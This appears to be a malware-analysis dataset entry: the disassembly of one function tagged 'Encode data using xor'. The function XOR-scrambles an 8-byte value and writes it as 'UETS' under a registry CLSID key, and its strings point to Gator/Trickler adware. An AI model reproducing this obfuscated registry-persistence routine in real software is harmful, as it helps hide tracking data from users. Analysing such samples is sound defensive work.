Function at 0x402870
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x14
push esi
push edi
push 0
push str.Deleting
push str.softwareGator.comTrickler
push reloc.WSOCK32.dll_bind
mov esi, str.Skipped
call fcn.00409c60
mov edi, dword [esp + 0x30]
add esp, 0x10
test eax, eax
jne 0x402a83
test edi, edi
push ebx
je 0x402971
mov eax, dword [0x42942c]
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0xc], eax
xor edx, edx
mov cl, byte [esp + edx + 0xc]
mov al, cl
and al, 0x80
shl cl, 1
test al, al
je 0x4028d2
or cl, 1
mov al, byte [esp + edx + 0xd]
xor al, cl
mov cl, al
and cl, 1
shr al, 1
test cl, cl
je 0x4028e5
or al, 0x80
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 3
jl 0x4028c1
mov edx, dword [esp + 0xf]
push edx
call fcn.00402ad0
mov bl, byte [esp + 0x10]
xor al, bl
push eax
call fcn.00402ab0
mov cl, byte [esp + 0x2e]
mov dl, byte [esp + 0x16]
mov byte [esp + 0x17], al
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x1c], al
mov al, byte [esp + 0x15]
mov byte [esp + 0x1f], al
mov al, byte [esp + 0x2f]
mov byte [esp + 0x20], cl
mov cl, byte [esp + 0x17]
add esp, 8
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], ah
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], cl
xor esi, esi
mov dl, byte [esp + esi + 0x14]
push edx
call fcn.00402ad0
xor al, byte [esp + esi + 0x19]
push eax
call fcn.00402ab0
add esp, 8
mov byte [esp + esi + 0x14], al
inc esi
cmp esi, 7
jl 0x402946
mov eax, dword [esp + 0x1b]
push eax
jmp 0x402a40
push 0
call fcn.0041ad4b
mov edx, dword [0x42942c]
xor ecx, ecx
mov dword [esp + 0x18], ecx
add esp, 4
mov dword [esp + 0xc], edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], ecx
xor edx, edx
mov cl, byte [esp + edx + 0xc]
mov al, cl
and al, 0x80
shl cl, 1
test al, al
je 0x4029a6
or cl, 1
mov al, byte [esp + edx + 0xd]
xor al, cl
mov cl, al
and cl, 1
shr al, 1
test cl, cl
je 0x4029b9
or al, 0x80
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 3
jl 0x402995
mov eax, dword [esp + 0xf]
push eax
call fcn.00402ad0
mov bl, byte [esp + 0x10]
xor al, bl
push eax
call fcn.00402ab0
mov cl, byte [esp + 0x15]
mov dl, byte [esp + 0x2e]
mov byte [esp + 0x17], al
mov eax, dword [esp + 0x2c]
mov byte [esp + 0x1c], al
mov al, byte [esp + 0x16]
mov byte [esp + 0x1f], cl
mov cl, byte [esp + 0x2f]
mov byte [esp + 0x20], dl
mov dl, byte [esp + 0x17]
add esp, 8
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], ah
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], dl
xor esi, esi
mov al, byte [esp + esi + 0x14]
push eax
call fcn.00402ad0
xor al, byte [esp + esi + 0x19]
push eax
call fcn.00402ab0
add esp, 8
mov byte [esp + esi + 0x14], al
inc esi
cmp esi, 7
jl 0x402a1a
mov ecx, dword [esp + 0x1b]
push ecx
call fcn.00402ad0
xor al, byte [esp + 0x18]
push eax
call fcn.00402ab0
add esp, 8
lea edx, [esp + 0x14]
mov byte [esp + 0x1b], al
push 8
push edx
push str.uets
push str.SoftwareCLASSESCLSID21FFB6C0_0DA1_11D5_A9D5_00500413153C
push reloc.WSOCK32.dll_bind
call fcn.0040ae30
add esp, 0x14
mov esi, 0x429458
test eax, eax
pop ebx
jne 0x402a83
mov esi, str.FAILED
test edi, edi
mov eax, str.eternal
jne 0x402a91
mov eax, 0x429444
push esi
push eax
push str.Write_UETS___s_:__s
call fcn.00406bc0
add esp, 0xc
pop edi
pop esi
add esp, 0x14
ret